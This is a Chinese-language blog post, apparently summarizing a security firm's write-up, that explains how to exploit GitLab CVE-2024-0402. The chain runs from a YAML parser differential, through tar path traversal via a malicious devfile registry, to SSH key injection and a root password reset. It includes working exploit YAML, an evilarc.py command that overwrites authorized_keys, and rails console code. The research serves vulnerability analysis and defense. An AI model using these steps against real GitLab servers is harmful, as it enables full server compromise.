GitLab CVE-2024-0402漏洞利用全解析 - 从YAML解析差异到任意文件写入

本文详细分析了GitLab CVE-2024-0402漏洞的完整利用链,从YAML解析器差异绕过安全验证,到利用devfile库中的路径遍历实现任意文件写入,最终获得GitLab服务器完全控制权限的技术细节。

引言

Doyensec在地中海游轮公司团建期间,通过分析真实世界漏洞创建了!exploitable博客系列。在第一部分我们探讨了IoT ARM漏洞利用,第二部分尝试利用《黑客帝国:重装上阵》中Trinity使用的漏洞。本篇文章将深入分析GitLab中CVE-2024-0402的漏洞利用。

背景信息

该漏洞影响GitLab Workspaces功能,该功能允许开发者快速启动包含所有依赖、工具和配置的集成开发环境(IDE)。

Workspaces功能依赖多个组件,包括运行的Kubernetes GitLab Agent和devfile配置:

  • Kubernetes GitLab Agent:连接GitLab与Kubernetes集群,支持部署流程自动化
  • Devfile:定义容器化开发环境的开放标准,使用YAML文件配置

漏洞分析

初始绕过

GitLab使用devfile Gem调用外部的devfile二进制文件来处理工作空间创建时的.devfile.yaml文件。在预处理过程中,PreFlattenDevfileValidator会调用validate_parent验证器:

1
2
3
4
5
def self.validate_parent(value)
  value => { devfile: Hash => devfile }
  return err(_("Inheriting from 'parent' is not yet supported")) if devfile['parent']
  Result.ok(value)
end

YAML解析器差异利用

作者发现了Ruby和Go YAML解析器在处理本地YAML标签时的差异:

  • Ruby的yaml库会评估!binary标签并进行base64解码
  • Go的gopkg.in/yaml.v3会直接丢弃该标签

这使得可以通过以下方式绕过验证:

1
2
normalk: just a value
!binary parent: got injected

任意文件写入

在devfile二进制文件中,decompress函数存在路径遍历漏洞:

1
target := path.Join(targetDir, filepath.Clean(header.Name))

filepath.Clean无法防止相对路径的路径遍历:

1
2
fmt.Println(filepath.Clean("/../../../../../../../tmp/test")) // 输出: /tmp/test
fmt.Println(filepath.Clean("../../../../../../../tmp/test"))  // 输出: ../../../../../../../tmp/test

漏洞利用链

环境配置

  1. 使用GitLab 16.8文档配置Workspaces
  2. 修补缺失的web-ide-injector容器镜像
  3. 配置GitLab Agent启用remote_development选项

构建恶意devfile注册表

  1. 部署自定义devfile注册表
  2. stacks/nodejs/2.2.1/archive.tar位置放置恶意tar文件
  3. 使用evilarc.py创建路径遍历利用文件

触发漏洞

创建包含特殊YAML的.devfile.yaml文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
schemaVersion: 2.2.0
!binary parent:
    id: nodejs
    registryUrl: http://<恶意注册表>:<端口>
components:
  - name: development-environment
    attributes:
      gl/inject-editor: true
    container:
      image: "registry.gitlab.com/gitlab-org/..."

权限提升

SSH密钥注入

通过覆盖/var/opt/gitlab/.ssh/authorized_keys文件获得无限制的git用户访问权限:

1
python3 evilarc.py authorized_keys -f archive.tar.gz -p var/opt/gitlab/.ssh/ -o unix

GitLab管理员权限获取

通过gitlab-rails控制台修改root用户密码:

1
2
3
4
5
6
user = User.find_by_username 'root'
new_password = 'ItIsPartyTime!'
user.password = new_password
user.password_confirmation = new_password
user.password_automatically_set = false
user.save!

结论

CVE-2024-0402展示了从YAML解析差异到任意文件写入的完整漏洞利用链。尽管配置环境存在挑战,但漏洞本身展示了在复杂系统中发现和利用深层安全问题的可能性。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计